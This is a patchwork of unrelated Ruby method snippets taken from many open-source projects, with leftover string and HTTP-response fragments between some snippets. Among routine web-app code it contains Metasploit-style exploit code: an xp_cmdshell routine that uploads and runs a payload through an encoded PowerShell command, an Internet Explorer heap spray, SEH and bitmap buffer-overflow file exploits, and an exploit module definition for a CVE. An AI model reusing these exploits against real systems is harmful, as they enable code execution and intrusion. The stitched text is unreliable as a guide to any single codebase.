def dismiss_topics
    ids =
      Topic
        .where(id: @topic_ids)
        .joins(
          "LEFT JOIN topic_users ON topic_users.topic_id = topics.id AND topic_users.user_id = #{@user.id}",
        )
        .where("topics.created_at >= ?", dismiss_topics_since_date)
        .where("topic_users.last_read_post_number IS NULL")
        .order("topics.created_at DESC")
        .limit(SiteSetting.max_new_topics)
        .filter { |t| guardian.can_see?(t) }
        .map(&:id)

    if ids.present?
      now = Time.zone.now
      rows = ids.map { |id| { topic_id: id, user_id: @user.id, created_at: now } }
      DismissedTopicUser.insert_all(rows)
      TopicTrackingState.publish_dismiss_new(@user.id, topic_ids: ids.sort)
    end

    @changed_ids = ids
  end


def find_master_server
    active_miq_servers.detect(&:is_master?)
  end


def initialize(object, options = {})
      super

      @column_objects = get_columns
      @columns = column_objects.map { |c| { name: c.name, caption: c.caption } }
      @work_packages = get_work_packages
    end


def redirect_uri
      base_redirect_uri = "#{Setting.protocol}://#{Setting.host_name}#{OpenProject::Configuration['rails_relative_url_root']}"
      URI.join(base_redirect_uri, "/auth/#{slug}/callback").to_s
    end


def self.list_query(user, guardian)
    topics = Topic.listable_topics.secured(guardian)
    pms = Topic.private_messages_for_user(user)
    topic_bookmarks =
      user
        .bookmarks_of_type("Topic")
        .joins(
          "INNER JOIN topics ON topics.id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Topic'",
        )
        .joins("LEFT JOIN topic_users ON topic_users.topic_id = topics.id")
        .where("topic_users.user_id = ?", user.id)
    guardian.filter_allowed_categories(topic_bookmarks.merge(topics.or(pms)))
  end


def missing_encrypted_configuration_message
          if !encrypted_configuration.key?
            "Missing '#{key_path}' to decrypt data. See `#{executable(:help)}`"
          else
            "File '#{content_path}' does not exist. Use `#{executable(:edit)} #{content_path}` to change that."
          end
        end


def topic_thumbnail_sizes=(val)
    return write_attribute(:topic_thumbnail_sizes, val) if val.nil?
    return write_attribute(:topic_thumbnail_sizes, val) if !val.is_a?(Array)
    if !val.all? { |v| v.is_a?(Array) && v.length == 2 }
      return write_attribute(:topic_thumbnail_sizes, val)
    end

    super(val.map { |dim| "#{dim[0]}x#{dim[1]}" })
  end


def update
    template = FormTemplate.find(params[:id])

    begin
      template.update!(name: params[:name], template: params[:template])
      render_serialized(template, AdminFormTemplateSerializer, root: "form_template")
    rescue FormTemplate::NotAllowed => err
      render_json_error(err.message)
    end
  end


def test_migration_does_remove_unnamed_index
        connection.add_index :testings, :bar

        migration = Class.new(ActiveRecord::Migration[4.2]) {
          def version; 101 end
          def migrate(x)
            remove_index :testings, :bar
          end
        }.new

        assert connection.index_exists?(:testings, :bar)
        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
        assert_not connection.index_exists?(:testings, :bar)
      end


def reset_cache!
    Rails.cache.delete('unavailable_domains')
  end


def uses_strip_tags?
    Brakeman.debug "Finding calls to strip_tags()"

    not tracker.find_call(:target => false, :method => :strip_tags, :nested => true).empty?
  end


def normalize_url(url)
    URI.parse(url).normalize.tap { |u| u.path.squeeze!("/") }.to_s
  end


def generate_tag(input)
      Liquid::Template.register_tag("stackery", StackeryTag)
      Liquid::Template.parse("{% stackery #{input} %}")
    end


def powershell_upload_exec(exe, debug=false)
          # hex converter
          hex = exe.unpack("H*")[0]
          # create random alpha 8 character names
          #var_bypass  = rand_text_alpha(8)
          var_payload = rand_text_alpha(8)
          print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
          # our payload converter, grabs a hex file and converts it to binary for us through powershell
          h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
          h2b_unicode=Rex::Text.to_unicode(h2b)
          # base64 encode it, this allows us to perform execution through powershell without registry changes
          h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
          print_status("Uploading the payload #{var_payload}, please be patient...")
          idx = 0
          cnt = 500
          while(idx < hex.length - 1)
            mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
            idx += cnt
          end
          print_status("Converting the payload utilizing PowerShell EncodedCommand...")
          mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
          mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
          print_status("Executing the payload...")
          mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
          print_status("Be sure to cleanup #{var_payload}.exe...")
        end

';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\Windows\Temp\


def inject_require(root_file_path: 'lib/rubocop.rb')
        RequireFileInjector.new(source_path: source_path, root_file_path: root_file_path).inject
      end


def scope_to(scope)
          define_method(:filter_batch) do |relation|
            instance_exec(relation, &scope)
          end
        end


def call(_, _, _, _, values)
      @events << values[:sql] if /INSERT/.match?(values[:sql])
    end


def test_fetch_multi_batch_fetches_first_level_belongs_to_associations
      AssociatedRecord.send(:cache_belongs_to, :item)

      @bob_child  = @bob.associated_records.create!(name: "bob child")
      @fred_child = @fred.associated_records.create!(name: "fred child")

      # populate the cache entries and associated children ID variables
      AssociatedRecord.fetch_multi(@bob_child.id, @fred_child.id)
      Item.fetch_multi(@bob.id, @fred.id)

      assert_memcache_operations(2) do
        @cached_bob_child, @cached_fred_child = AssociatedRecord.fetch_multi(
          @bob_child.id, @fred_child.id, includes: :item
        )
        assert_equal(@bob,  @cached_bob_child.fetch_item)
        assert_equal(@fred, @cached_fred_child.fetch_item)
      end
    end


def web_path
      project_environment_deployment_path(project, environment, deployment)
    end


def create_membership_request_notification
        Notification.consolidate_or_create!(
          notification_type: Notification.types[:private_message],
          user_id: user.id,
          data: {
            topic_title: I18n.t("groups.request_membership_pm.title", group_name: group.name),
            original_post_id: post.id,
          }.to_json,
          updated_at: Time.zone.now,
          created_at: Time.zone.now,
        )
      end


def extract_account_id(url)
    account_id_regex = %r{/accounts/(\d+)}
    match_data = url.match(account_id_regex)
    match_data[1] if match_data
  end


def up
    drop_table(:ci_pipelines_config, if_exists: true)

    execute(<<~SQL)
      CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(100)}
        PARTITION OF p_ci_pipelines_config FOR VALUES IN (100);

      CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(101)}
        PARTITION OF p_ci_pipelines_config FOR VALUES IN (101);

      CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(102)}
        PARTITION OF p_ci_pipelines_config FOR VALUES IN (102);
    SQL
  end


def result
        @view.raw @view.render(layout: "routes/table") {
          @view.raw @buffer.join("\n")
        }
      end


def count_storage_du
          output, err, code = Open3.capture3("du", "-bs", local_repository_path)

          if code == 0 && output =~ /^(\d+)/
            Regexp.last_match(1).to_i
          else
            raise SystemCallError.new "'du' exited with non-zero status #{code}: Output was #{err}"
          end
        rescue SystemCallError => e
          # May be raised when the command is not found.
          # Nothing we can do here.
          Rails.logger.error("Counting with 'du' failed with: '#{e.message}'." +
                             "Falling back to in-ruby counting.")
          nil
        end


def test_form_for_field_name_with_blank_as_and_multiple
    form_for(Post.new, as: "") do |form|
      concat form.text_field(:title, name: form.field_name(:title, multiple: true))
    end

    expected = whole_form("/posts", "new_", "new_") do
      %(<input id="title" name="title[]" type="text">)
    end

    assert_dom_equal expected, @rendered
  end


def add_equals_to_base64(str)
                  ['', '=', '=='].each do |equals|
                    to_test = "#{str}#{equals}"
                    Base64.strict_decode64(to_test)
                    return to_test
                  rescue ArgumentError
                    next
                  end
                  nil
                end


def ie_heap_spray(my_target, p)
    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[7]
      # IE 9 on Windows 7
      js = ie9_spray(my_target, p)
    when targets[5], targets[6]
      # IE 8 on Windows 7 and Windows Vista
      js = ie8_spray(my_target, p)
    else
      js = ie6_spray(my_target, p)
    end

    js = heaplib(js, { :noobfu => true })

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
      @heap_spray_fn = js.sym("heap_spray")
    else
      @heap_spray_fn = "heap_spray"
    end

    return js
  end


def clean_path_info(path_info)
      parts = path_info.split PATH_SEPS

      clean = []

      parts.each do |part|
        next if part.empty? || part == '.'
        part == '..' ? clean.pop : clean << part
      end

      clean_path = clean.join(::File::SEPARATOR)
      clean_path.prepend("/") if parts.empty? || parts.first.empty?
      clean_path
    end


def localized_action_name(event)
    action_name = event.action_name
    # The action fallback is used to cover the types were not included in the maps.
    localized_action_name_map[action_name.to_sym] || action_name
  end


def human_name
    News.human_attribute_name(name)
  end


def self.run(params)
        rsync_cmd = ["rsync"]
        rsync_cmd << params[:extra]
        rsync_cmd << params[:source]
        rsync_cmd << params[:destination]
        Actions.sh(rsync_cmd.join(" "))
      end


def resembles_rhost_value?(val)
    return false unless val

    ::Addressable::URI.parse(val)
    true
  rescue ::Addressable::URI::InvalidURIError => _e
    false
  end


def tags
        Fiber[FIBER_KEY] || EMPTY_TAGS
      end


def initialize(opts={})
            self.address     = opts[:address]
            self.port        = opts[:port]        || 25
            self.username    = opts[:username]
            self.password    = opts[:password]
            self.helo_domain = opts[:helo_domain] || 'localhost'
            self.login_type  = opts[:login_type]  || :login
            self.from        = opts[:from]        || ''
          end


def project_report_property_closed_path(project, property, property_id, options = {})
    query = {
      f: [
        filter_object("status_id", "c"),
        filter_object("subproject_id", "!*"),
        filter_object(property, "=", property_id)
      ],
      t: default_sort
    }
    project_work_packages_with_query_path(project, query, options)
  end


def discuss_and_ask_broadcast
        @discuss_and_ask_broadcast ||= find_discuss_ask_broadcast
      end


def ca=(ca)
          check_file ca, 'ca'
          @ca = ca
        end


def self.table(migration)
    create_table migration do |t|
      t.references :gitlab_merge_request, null: false

      t.bigint :gitlab_id, null: false
      t.string :gitlab_html_url, null: false
      t.bigint :project_id, null: false
      t.string :gitlab_user_avatar_url, null: false
      t.string :status, null: false
      t.string :name, null: false
      t.string :details_url
      t.json :ci_details
      t.datetime :started_at, precision: nil
      t.datetime :completed_at, precision: nil

      t.timestamps precision: nil
      t.text :username
      t.text :commit_id
    end
  end


def has_job_class_name_argument?(class_name)
        ast.each_descendant(:send).any? do |node|
          node.arguments.any? do |arg|
            next false unless arg.type == :hash

            arg.pairs.any? do |pair|
              key_node, value_node = pair.children
              key_node.type == :sym &&
                key_node.value == JOB_CLASS_NAME_KEY &&
                value_node.type == :str &&
                value_node.str_content == class_name
            end
          end
        end
      end


def after_run(_)
          FileUtils.rm_rf(tmpdir)
        end


def attributes(name)
    {
      id:
        DiscourseDataExplorer::Query.count == 0 ? 5 : DiscourseDataExplorer::Query.maximum(:id) + 1,
      name: name,
      description: "A Query",
      sql: "SELECT 1",
      created_at: 3.hours.ago,
      last_run_at: 1.hour.ago,
      hidden: false,
    }
  end


def destroy
    @bulk_import.destroy!
    redirect_to settings_imports_path
  end


def initialize(store, mutex_hash, mutex)
        @store = store
        @mutex_hash = mutex_hash
        @mutex = mutex
        @thread = nil
        @running = false
      end


def package_name
      return model.name if for_model?

      "#{PACKAGE_PREFIX}#{iid}"
    end


def default_user_id
      @context.current_user.id
    end


def self.parse (handle)
    uuid_re = '[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}'
    rev_re = '\d+.\d+'
    proto_re = '(?:' + @@protocols.join('|') + ')'
    re = Regexp.new("(#{uuid_re}):(#{rev_re})\@(#{proto_re}):(.*?)\\[(.*)\\]$", Regexp::IGNORECASE | Regexp::NOENCODING)
    match = re.match(handle)
    raise ArgumentError if !match

    uuid = [match[1], match[2]]
    protocol = match[3]
    address = match[4]
    options = match[5].split(',')
    i = Rex::Proto::DCERPC::Handle.new(uuid, protocol, address, options)
    return i
  end


def version(engine)
      spec = bundler_specs_by_path[engine.root.realpath.to_s]

      case spec&.source
      when Bundler::Source::Git
        [
          spec.source.branch || spec.source.options["tag"],
          spec.source.revision.presence[0, 8]
        ].compact.join("@").presence
      when Bundler::Source::Path
        if engine.root.join(".git").exist?
          branch = sha = nil
          Dir.chdir(engine.root) do
            branch   = `git rev-parse --abbrev-ref HEAD 2>/dev/null`.strip.presence
            branch   = nil if branch == "HEAD"
            branch ||= `git describe --tags --exact-match HEAD 2>/dev/null`.strip.presence

            sha = `git rev-parse HEAD 2>/dev/null`.strip[0, 8].presence
          end

          [branch, sha].compact.join("@").presence
        end
      when Bundler::Source::Rubygems
        spec.version
      end
    end


def test_header_value_array
    server_run app: ->(env) { [200, {'set-cookie' => ['z=1', 'a=2']}, ['Hello']] }
    data = send_http_and_read "GET / HTTP/1.1\r\n\r\n"

    resp = "HTTP/1.1 200 OK\r\nset-cookie: z=1\r\nset-cookie: a=2\r\nContent-Length: 5\r\n\r\n"
    assert_includes data, resp
  end

HTTP/1.1 200 OK
set-cookie: z=1
set-cookie: a=2
Content-Length: 5


def exploit
    overflow = rand_text(target["Offset"])
    overflow << generate_seh_record(target.ret)
    overflow << payload.encoded
    overflow << rand_text_alpha(target["TotalLength"] - overflow.length)

    plp = <<~TEMPLATE
      <?xml version="1.0" encoding="ISO-8859-1"?>
      <ACDFotoSlateDocument15>
      <PageDefinition>
      <Template>
      <Version>3.0</Version>
      <Page>
      <Name>Letter</Name>
      <Properties>
      <String id="#{overflow}"></String>
      <String id="Width">8.500000IN</String>
      <String id="Height">11.000000IN</String>
      <String id="Orientation">Portrait</String>
      <Bool id="AutoRotate">FALSE</Bool>
      <Bool id="AutoFill">FALSE</Bool>
      </Properties>
      <Content>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGImageType">0</Int>
      <String id="BGImageFile"></String>
      <Int id="BGColor">16777215</Int>
      </Content>
      </Page>
      <ToolList>
      <Group>
      <Tool>
      <Name>Image</Name>
      <Properties>
      <String id="XPos">0.500000IN</String>
      <String id="YPos">0.500000IN</String>
      <String id="Width">7.500000IN</String>
      <String id="Height">10.000000IN</String>
      <Float id="Tilt">0.000000</Float>
      </Properties>
      <Content>
      <Int id="ShapeType">0</Int>
      <Float id="RoundRectX">0.000000</Float>
      <Float id="RoundRectY">0.000000</Float>
      <Bool id="ShrinkToFit">FALSE</Bool>
      <Bool id="AutoRotate">FALSE</Bool>
      <Float id="BorderWidth">0.000000</Float>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGColor">8454143</Int>
      <Bool id="DropShadow">FALSE</Bool>
      <Int id="DSColor">0</Int>
      <Bool id="BevelEdge">FALSE</Bool>
      <Bool id="Border">FALSE</Bool>
      <Int id="BorderColor">16711680</Int>
      <Bool id="IsLocked">FALSE</Bool>
      </Content>
      </Tool>
      </Group>
      </ToolList>
      </Template>
      <PageContent>
      <Version>3.0</Version>
      <Page>
      <Name>Letter</Name>
      <Content>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGImageType">0</Int>
      <String id="BGImageFile"></String>
      <Int id="BGColor">16777215</Int>
      </Content>
      </Page>
      <ToolList>
      <Group>
      <Tool>
      <Name>Image</Name>
      <Content>
      <Int id="ShapeType">0</Int>
      <Float id="RoundRectX">0.000000</Float>
      <Float id="RoundRectY">0.000000</Float>
      <Bool id="ShrinkToFit">FALSE</Bool>
      <Bool id="AutoRotate">FALSE</Bool>
      <Float id="BorderWidth">0.000000</Float>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGColor">8454143</Int>
      <Bool id="DropShadow">FALSE</Bool>
      <Int id="DSColor">0</Int>
      <Bool id="BevelEdge">FALSE</Bool>
      <Bool id="Border">FALSE</Bool>
      <Int id="BorderColor">16711680</Int>
      <Bool id="IsLocked">FALSE</Bool>
      </Content>
      </Tool>
      </Group>
      </ToolList>
      </PageContent>
      </PageDefinition>
      </ACDFotoSlateDocument15>
    TEMPLATE

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(plp)
  end


def setup
    super
    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
    # a more accurate simulation of what happens in "real life".
    @controller.logger = ActiveSupport::Logger.new(nil)
  end


def print_good(msg='', prefix: nil)
    msg_prefix = prefix.nil? ? print_prefix : prefix
    super(msg_prefix + msg)
  end


def formatted_excerpt
    I18n.t("discourse_ai.share_ai.formatted_excerpt", llm_name: llm_name, excerpt: excerpt)
  end


def post_app_store_version_release_request(app_store_version_id: nil)
          body = {
              data: {
                  type: "appStoreVersionReleaseRequests",
                  relationships: {
                      appStoreVersion: {
                          data: {
                              type: "appStoreVersions",
                              id: app_store_version_id
                          }
                      }
                  }
              }
          }

          tunes_request_client.post("#{Version::V1}/appStoreVersionReleaseRequests", body)
        end


def self.xml_to_hashes(xmlNode, findPath)
    result = []
    if xmlNode.kind_of?(Hash)
      xmlNode.each_pair { |_k, v| result << v }
    else
      el = XmlFind.findElement(findPath, xmlNode.root)
      return nil unless MiqXml.isXmlElement?(el)

      el.each_element { |e| result << e.attributes.to_h }
    end
    result
  end


def unwrap(value)
        case value
        in [element] then element
        else value
        end
      end


def grouped_records
          h = {}
          polymorphic_parent = !root? && parent.polymorphic?
          source_records.each do |record|
            reflection = record.class._reflect_on_association(association)
            next if polymorphic_parent && !reflection || !record.association(association).klass
            (h[reflection] ||= []) << record
          end
          h
        end


def test_file_field_tag
    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
  end

<input name="picsplz" type="file" id="picsplz" />


def unpinned
    PinnedCheck.unpinned?(object.topic, object.topic_user)
  end


def exploit
    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V")
    bof << payload.encoded

    bitmap_header = ""
    bitmap_header << [0x28].pack("V")       # HeaderSize
    bitmap_header << [0x4a3].pack("V")      # Width    # Used to trigger the overflow
    bitmap_header << [0x1].pack("V")        # Height
    bitmap_header << [0x9].pack("v")        # Planes   # Used to trigger the overflow
    bitmap_header << [0x41].pack("v")       # BitCount # Used to trigger the overflow
    bitmap_header << [0x0].pack("V")        # Compression
    bitmap_header << [bof.length].pack("V") # SizeImage
    bitmap_header << [0x0].pack("V")        # PelsPerMeterX
    bitmap_header << [0x0].pack("V")        # PelsPerMeterY
    bitmap_header << [0x0].pack("V")        # ClrUse
    bitmap_header << [0x0].pack("V")        # ClrImportant

    total_size = bof.length + bitmap_header.length + 14 # 14 => file header length

    file_header = ""
    file_header << "BM"                     # Signature
    file_header << [total_size].pack("V")   # Size
    file_header << [0].pack("V")            # Reserved
    file_header << [0x36].pack("V")         # BitsOffsets

    bmp = file_header + bitmap_header + bof
    file_create(bmp)
  end


def track_core_notification(user:, message:, type: ::Notification.types[:chat_watched_thread])
    described_class.new.execute(chat_message_id: message.id)
    Notification.where(user: user, notification_type: type).last
  end


def update!
          connection.exec_update(sql, log_name, params)
        end


def cookie_jar
      @cookie_jar ||= ActionDispatch::Request.new(env).cookie_jar
    end


def update_sequence_id
          options[:update_sequence_id] || Client.generate_update_sequence_id
        end


def plp_url
      generate_url(size: self.class.styles[:plp_and_carousel])
    end


def work_package_struct(work_package)
    attribute_names = WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.members.map(&:to_s)
    attributes = work_package.attributes.slice(*attribute_names)
    attributes[:status_excluded_from_totals] = false
    WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.new(**attributes)
  end


def direct_login_provider_url(params = {})
    omni_auth_start_url(direct_login_provider, params)
  end


def include_message_archived?
    object.personal_message
  end


def taxation_options_for(shipping_method)
        {
          tax_category: shipping_method.tax_category,
          tax_zone: @order.tax_zone
        }
      end


def call(account, partial_collection_url, expected_digest = nil)
    @account = account
    @expected_followers_ids = []
    @digest = [expected_digest].pack('H*') if expected_digest.present?

    return unless process_collection!(partial_collection_url)

    # Only remove followers if the digests match, as it is a destructive operation
    remove_unexpected_local_followers! if expected_digest.blank? || @digest == "\x00" * 32
  end


def validate_result!(operation_result)
        code = operation_result.table[:code]
        if code == 0
          dlog('Operation was successful')
        else
          raise Msf::Exploit::Remote::LDAP::Error.new(error_code: code, operation_result: operation_result)
        end
      end


def timeout
    datastore['TIMEOUT']
  end


def values
        load_for_read!
        @delegate.values
      end


def pre_update_checks!(note, _args)
          return if note.is_a?(DiffNote) && note.position.on_image?

          raise_resource_not_available_error! 'Resource is not an ImageDiffNote'
        end


def async_nullify?
      loose_foreign_key_definition.on_delete == :async_nullify
    end


def get_os_architecture
    if session.type == 'meterpreter'
      return sysinfo['Architecture']
    else
      case session.platform
      when 'windows', 'win'
        # Check for 32-bit process on 64-bit arch
        arch = get_env('PROCESSOR_ARCHITEW6432')
        if arch.strip.empty? or arch =~ /PROCESSOR_ARCHITEW6432/
          arch = get_env('PROCESSOR_ARCHITECTURE')
        end
        if arch =~ /AMD64/m
          return ARCH_X64
        elsif arch =~ /86/m
          return ARCH_X86
        elsif arch =~ /ARM64/m
          return ARCH_AARCH64
        else
          print_error('Target is running Windows on an unsupported architecture!')
          return nil
        end
      end
    end
  end


def parsed_start
    values.first.present? ? Date.parse(values.first) : nil
  end


def write_entries(entries, base_path, path, zipfile)
      entries.each do |e|
        zipfile_path = path == "" ? e : File.join(path, e)
        disk_file_path = File.join(base_path, zipfile_path)

        if File.directory? disk_file_path
          recursively_deflate_directory(disk_file_path, zipfile, base_path, zipfile_path)
        else
          put_into_archive(disk_file_path, zipfile, zipfile_path)
        end
      end
    end


def diff_xIndex(diffs, loc)
    chars1 = 0
    chars2 = 0
    last_chars1 = 0
    last_chars2 = 0
    x = diffs.index do |diff|
      if diff[0] != :insert
        chars1 += diff[1].length
      end
      if diff[0] != :delete
        chars2 += diff[1].length
      end
      if chars1 > loc
        true
      else
        last_chars1 = chars1
        last_chars2 = chars2
        false
      end
    end

    if diffs.length != x && diffs[x][0] == :delete
      # The location was deleted.
      last_chars2
    else
      # Add the remaining len(character).
      last_chars2 + (loc - last_chars1)
    end
  end


def say_status(status, color, message = relative_destination) # :doc:
            base.shell.say_status(status, message, color) if config[:verbose]
          end


def up
    with_lock_retries do
      remove_foreign_key(
        FROM_TABLE,
        TO_TABLE,
        column: :project_id,
        if_exists: true
      )
    end
  end


def initialize(type_metadata, extra: nil)
          super(type_metadata)
          @extra = extra
        end


def organization_users_limit_exceeded_error
      message = format(_('Cannot update more than %{limit} organization data at once'), limit: ORGANIZATION_USERS_LIMIT)
      error_message(message)
    end


def create_child_item(validation:, sort_order: nil)
        attributes = validation.to_h
        attributes[:sort_order] = sort_order - 1 if sort_order

        item = validation[:parent].children.create(**attributes)
        return Failure(item.errors) if item.new_record?

        update_position_cache(item.root)
        Success(item.reload)
      end


def add_journal(user: User.current, notes: "", internal: false, cause: CauseOfChange::NoCause.new)
      self.journal_user ||= user
      self.journal_notes ||= notes
      self.journal_cause ||= cause
      self.journal_internal ||= internal
    end


def rollback_db_transaction
        exec_rollback_db_transaction
      rescue ActiveRecord::ConnectionNotEstablished, ActiveRecord::ConnectionFailed
        # Connection's gone; that counts as a rollback
      end


def user_consent_required?
    # Ensure consent is enabled and a text is provided
    Setting.consent_required? && consent_configured?
  end


def build_merge_request_diff_files(diffs)
    sort_diffs(diffs).map.with_index do |diff, index|
      diff_hash = diff.to_hash.merge(
        binary: false,
        merge_request_diff_id: self.id,
        relative_order: index,
        project_id: self.project_id
      )

      if Feature.enabled?(:deduplicate_new_path_value, Project.find(self.project_id))
        diff_hash[:new_path] = diff.new_path == diff.old_path ? nil : diff.new_path
      end

      # Compatibility with old diffs created with Psych.
      diff_hash.tap do |hash|
        diff_text = hash[:diff]

        if encode_in_base64?(diff_text)
          hash[:binary] = true
          hash[:diff] = [diff_text].pack('m0')
        end
      end
    end
  end


def self.generate_future_events(obj)
    log_message_uniq_prefix = "Generating future bottleneck events for: [#{obj.class} - #{obj.name}]..."
    last = last_created_on(obj)
    if last && last >= 24.hours.ago.utc
      _log.info("#{log_message_uniq_prefix} Skipped, last creation [#{last}] was less than 24 hours ago")
      return
    end
    dels = delete_future_events_for_obj(obj)
    adds = 0
    future_event_definitions_for_obj(obj).each do |e|
      result = calculate_future_event(obj, e[:definition][:calculation])
      next if result.blank? || result[:timestamp].nil?

      # TODO: determine whether we omit results that are in the past

      event = new(e[:definition][:event])
      event.future        = true
      event.resource      = obj
      event.resource_name = obj.name if obj.respond_to?(:name)
      event.timestamp     = result.delete(:timestamp)
      event.context_data  = e[:definition].merge(result)
      event.message       = build_event_message(event.context_data)
      if event.save
        adds += 1
      else
        _log.warn("#{log_message_uniq_prefix} failed with '#{event.errors.full_messages.join(', ')}'")
      end
    end

    _log.info("#{log_message_uniq_prefix} Complete - Added #{adds} / Deleted #{dels}")
  end


def matching_milestone
          params = { project_ids: target_work_item.project&.id, group_ids: ancestors }
          milestone = by_id(params)

          return milestone if milestone.present?

          by_title(params)
        end


def run_host(ip)
    tpath = normalize_uri(datastore['PATH'])
    if tpath[-1, 1] != '/'
      tpath += '/'
    end

    begin
      res = send_request_cgi({
        'uri' => tpath,
        'method' => 'GET',
        'ctype'	=> 'text/plain'
      }, 20)

      if (res and res.code >= 200 and res.code < 300)
        if res.to_s.include? "<title>Index of /" and res.to_s.include? "
Index of /"
          print_good("Found Directory Listing #{wmap_base_url}#{tpath}")

          report_web_vuln(
            :host	=> ip,
            :port	=> rport,
            :vhost => vhost,
            :ssl => ssl,
            :path	=> "#{tpath}",
            :method => 'GET',
            :pname => "",
            :proof => "Res code: #{res.code.to_s}",
            :risk => 0,
            :confidence => 100,
            :category => 'directory',
            :description => 'Directory found allowing listing of its contents.',
            :name => 'directory listing'
          )

        end

        if res.to_s.include? "[To Parent Directory]" and res.to_s.include? "#{tpath}

"
          print_good("Found Directory Listing #{wmap_base_url}#{tpath}")

          report_web_vuln(
            :host	=> ip,
            :port	=> rport,
            :vhost => vhost,
            :ssl => ssl,
            :path	=> "#{tpath}",
            :method => 'GET',
            :pname => "",
            :proof => "Res code: #{res.code.to_s}",
            :risk => 0,
            :confidence => 100,
            :category => 'directory',
            :description => 'Directory found allowing listing of its contents.',
            :name => 'directory listing'
          )

        end

      else
        vprint_status("NOT Vulnerable to directory listing #{wmap_base_url}#{tpath}")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end


def redirect(uri, *args)
      # SERVER_PROTOCOL is required in Rack 3, fall back to HTTP_VERSION
      # for servers not updated for Rack 3 (like Puma 5)
      http_version = env['SERVER_PROTOCOL'] || env['HTTP_VERSION']
      if (http_version == 'HTTP/1.1') && (env['REQUEST_METHOD'] != 'GET')
        status 303
      else
        status 302
      end

      # According to RFC 2616 section 14.30, "the field value consists of a
      # single absolute URI"
      response['Location'] = uri(uri.to_s, settings.absolute_redirects?, settings.prefixed_redirects?)
      halt(*args)
    end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
        'Description' => %q{
          This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
        },
        'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2018-9059' ],
          [ 'EDB', '39008' ],
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 390,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
        ],
        'DefaultOptions' => {
          'RPORT' => 80
        },
        'DisclosureDate' => '2015-12-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end


def upload_subforem_image(image, image_type)
    SubforemImageUploader.new.tap do |uploader|
      uploader.set_image_type(image_type)
      uploader.store!(image)
    end
  end


def update_batch(sub_batch)
        connection.execute <<~SQL
            UPDATE issues
            SET namespace_id = projects.project_namespace_id
            FROM (#{sub_batch.to_sql}) AS projects(issue_id, project_namespace_id)
            WHERE issues.id = issue_id
        SQL
      end


def destroy
        if @artifact.destroy
          head :no_content
        else
          render_json_error @artifact
        end
      end


def storage_path = context.terraform_state_path


def query_group_milestone_ids(params)
      query = graphql_query_for('group', { 'fullPath' => group.full_path },
        query_graphql_field('milestones', params, query_graphql_path([:nodes], :id))
      )

      post_graphql(query, current_user: current_user)

      graphql_data_at(:group, :milestones, :nodes).pluck('id').map { |gid| GlobalID.parse(gid).model_id.to_i }
    end


def down
    with_lock_retries do
      remove_column :scan_result_policy_violations,
        :status, :integer
    end
  end


def process_hashtags(account)
    account.tags_as_strings = Extractor.extract_hashtags(account.note)
  end


def cmd_makerc(*args)
            if args.empty? || args.include?('-h')
              cmd_makerc_help
              return false
            end
            driver.save_recent_history(args[0])
          end


def test_has_many_inherited
    assert_includes authors(:mary).categories, categories(:sti_test)
  end


def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Cisco ASA ASDM',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
